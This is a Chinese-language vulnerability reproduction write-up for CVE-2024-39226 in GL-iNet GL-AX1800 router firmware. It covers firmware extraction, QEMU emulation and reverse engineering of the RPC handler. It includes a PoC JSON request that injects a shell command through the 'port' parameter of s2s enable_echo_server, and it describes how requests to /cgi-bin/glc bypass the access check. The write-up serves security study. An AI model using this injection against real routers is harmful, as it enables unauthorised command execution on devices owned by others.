CVE-2024-39226
CVE信息:https://nvd.nist.gov/vuln/detail/CVE-2024-39226
官方固件下载网址:https://dl.gl-inet.cn/ (下载固件版本:GL-AX1800 Flint 4.5.16)
固件提取
还是按这个来吧CVE-2024-39226 GL-iNet 路由器RPC漏洞复现 - IOTsec-Zone
GL.iNet
官网提供历史固件下载[2]。
固件版本:GL-AX1800 Flint 4.5.16
sysupgrade-glinet_ax1800
文件夹下存在root
文件。
$ file root
root: Squashfs filesystem, little endian, version 4.0, 44613986 bytes, 4754 inodes, blocksize: 262144 bytes, created: Thu Mar 21 13:28:00 2024
使用binwalk
,从root
中提取Squashfs
文件系统。
$ binwalk -Me root
查看bin/busybox
得知是32位arm
架构。
$ file squashfs-root/bin/busybox
squashfs-root/bin/busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-arm.so.1, stripped
QEMU模拟
使用qemu-system-arm
从系统角度进行模拟,此时需要一个arm
架构的内核镜像和文件系统,可以在这个网站下载[3]。
vmlinuz-3.2.0-4-vexpress linux内核镜像文件
initrd.img-3.2.0-4-vexpress RAM磁盘映像文件
debian_wheezy_armhf_standard.qcow2 虚拟磁盘映像文件
启动虚拟环境
宿主机配置网卡(用于和虚拟机机通信)
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.3.1/24 up
sudo qemu-system-arm -M vexpress-a9 -cpu cortex-a15 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
启动后用户名和密码都是root
即可登录模拟的系统。
接下来在宿主机创建一个网卡,使qemu
内能和宿主机通信。
arm虚拟机模拟起来后,配置虚拟机网卡
ifconfig eth0 192.168.3.2/24 up
这样宿主机和模拟环境互通,使用scp
将squashfs-root
文件夹上传到qemu
系统中的/root
路径下。
scp -r squashfs-root/ root@192.168.3.2:/root
然后挂载proc
、dev
,最后chroot
即可。
root@debian-armhf:~# mount -t proc /proc ./squashfs-root/proc
root@debian-armhf:~# mount -o bind /dev ./squashfs-root/dev
root@debian-armhf:~# chroot ./squashfs-root/ sh
BusyBox v1.33.2 (2024-03-21 13:28:00 UTC) built-in shell (ash)
/ # ls
bin etc lib overlay rom sbin tmp var
dev init mnt proc root sys usr www
启动web服务
/usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;'
#手动创建缺失的目录
mkdir -p /var/log/nginx
mkdir -p /var/lib/nginx/body
mkdir -p /var/run
其实到这步服务已经启动了,对于复现漏洞来说web页面可有可无,但是如果想显示web页面
./etc/init.d/boot boot
./etc/uci-defaults/network_gl
./etc/init.d/boot boot
/usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;'
漏洞触发环境
ubus
服务
/sbin/ubusd
/usr/bin/fcgiwrap -c 6 -s unix:/var/run/fcgiwrap.socket
/usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;'
漏洞成因
请求的路径是rpc
时
对应的处理逻辑在/usr/share/gl-ngx/oui-rpc.lua
/usr/lib/lua/oui/rpc.lua
access
通过is_local
判断是否本地请求。对于本地请求和glinet
标头的请求,总是允许访问
M.call
函数是核心的rpc
调用处理器,执行以下步骤:
- 检查请求的对象是否已加载,如果未加载,则尝试从
/usr/lib/oui-httpd/rpc/
目录下加载脚本文件。 - 如果脚本文件存在且加载成功,将对象的方法注册到
objects
表中。 - 如果无法从
/usr/lib/oui-httpd/rpc/
目录下加载脚本文件或者找不到对象或方法,则调用glc_call
执行。
由于
/usr/lib/oui-httpd/rpc/
目录下是二进制s2s.so
文件,无法直接加载,则通过glc_call
调用/cgi-bin/glc
执行 C 程序实现的 RPC 方法
该程序通过 CGI 接收 POST 请求,并读取 CONTENT_LENGTH
和输入体,对其执行 json_loads()
加载为 v9
,然后通过json_unpack_ex提取出:
v30
←"object"
字段值(决定 so 名称)name
←"method"
字段值(决定函数名称)v32
←"params"
(被传给函数的第一个参数)
/cgi-bin/glc中使用 dlopen
动态加载共享库,路径是/usr/lib/oui-httpd/rpc/
目录下的文件
name_1 = (int (__fastcall *)(int, int))dlsym(hs, name);
加载方法
v22 = name_1(v32, v15);
调用
poc:
{
"method": "call",
"params": ["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]
//sid, object, method, args
}
{
"object":"s2s",
"method":"enable_echo_server",
"args":{"port":"7 $(touch /root/test2024)"}
}
本地
s2s.so中
虽然代码中检查了port
参数是否为有效的数字,但没有严格限制其内容,仅验证了其是否为正数且小于 65535。然而,在字符串形式下,它仍然允许嵌入特殊字符,如$()
,这些字符可以被 shell 解释器解析为命令。
在v16(v27, 128, "%s -p %s -f", "/usr/bin/echo_server", v9);
中,port
参数 (v9
) 被直接传递给snprintf
函数,生成的命令字符串随后通过system(v27);
执行。
由于v9
可以包含类似7 $(touch /root/test)
的字符串,shell 会执行其中的命令touch /root/test
,导致命令注入。
远程
如果直接请求/cgi-bin/glc
路径,将会调用glc_call
函数。glc_call
函数会向另一个内部路径(/cgi-bin/glc
)发起一个内部 HTTP POST 请求,并传递方法名称、参数等信息。执行call
方法并且跳过之前的权限校验,
漏洞如何发现
漏洞可利用性分析
本地利用
远程利用